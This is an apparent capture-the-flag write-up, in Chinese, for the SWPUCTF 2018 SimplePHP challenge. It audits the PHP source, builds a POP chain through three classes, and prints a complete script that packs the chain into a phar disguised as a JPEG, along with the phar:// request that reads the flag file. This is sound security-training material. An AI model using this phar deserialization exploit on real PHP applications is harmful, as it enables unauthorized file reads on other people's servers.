phar反序列化例題二
[SWPUCTF 2018]SimplePHP 1
檔案下載
url處發現檔案可下載,此處不貼出來了,不佔太多篇幅
程式碼審計
class.php處提示phar反序列化,base.php提示flag在f1ag.php
然後開始捋關係
index.php
index.php包含了base.php(寫有檔案上傳、檢視的頁面)。
base.php
base.php可以到upload_file.php、file.php
upload_file.php
使用了function.php中的函式,並提供了一個提交表單
function.php
接收上傳的檔案->檢查檔案型別、生成檔名、移動檔案到指定位置
file.php
是個檢視檔案的地方,設定了目錄為/var/www/html/
,檢查檔案是否存在,然後呼叫class.php中方法列印檔案內容
尋找pop鏈
phar反序列化觸發函式
fileatime | filectime | file_exists | file_get_contents |
---|---|---|---|
file_put_contents | file | filegroup | fopen |
fileinode | filemtime | fileowner | fileperms |
is_dir | is_executable | is_file | is_link |
is_readable | is_writable | is_writeable | parse_ini_file |
copy | unlink | stat | readfile |
從file.php中可以看到存在觸發phar反序列化的file_exists
。
class.php
這裡可以利用到echo輸出,是反序列化的入點
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}
同時可以利用到Show類中的__toString()
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
但是後面的鏈該怎麼連?於是就打算從末端開始看,很顯然這裡的file_get_contents是函式的最終點。從這裡開始往上倒推。
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)//連鎖觸發的開端
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)//最終點
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
從上面的Test類中可以看到一連串的觸發是透過__get
來實現的,即__toString
下一步該觸發的是__get才能完成一個pop鏈
payload
<?php
class C1e4r
{
public $test;
public $str;
}
class Show
{
public $source;
public $str;
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array('source'=>'/var/www/html/f1ag.php');
}//也可以寫成params[source]='/var/www/html/f1ag.php',這裡的路徑從file.php中可以看到
}
$c = new C1e4r();
$s=new Show();
$t =new Test();
$s->source=$s;
$s->str['str']=$t;
$c->str=$s;
$phar = new Phar("exp.phar");
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($c); //觸發的頭是C1e4r類,所以傳入C1e4r物件
$phar->addFromString("exp.txt", "test");
$phar->stopBuffering();
?>
生成的phar修改為jpg,還要計算圖片的名字,或者訪問upload目錄(這.....)
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
到檢視檔案的目錄下
buuoj.cn:81/file.php?file=phar://upload/d98ab935563b1ea861964510390e889e.jpg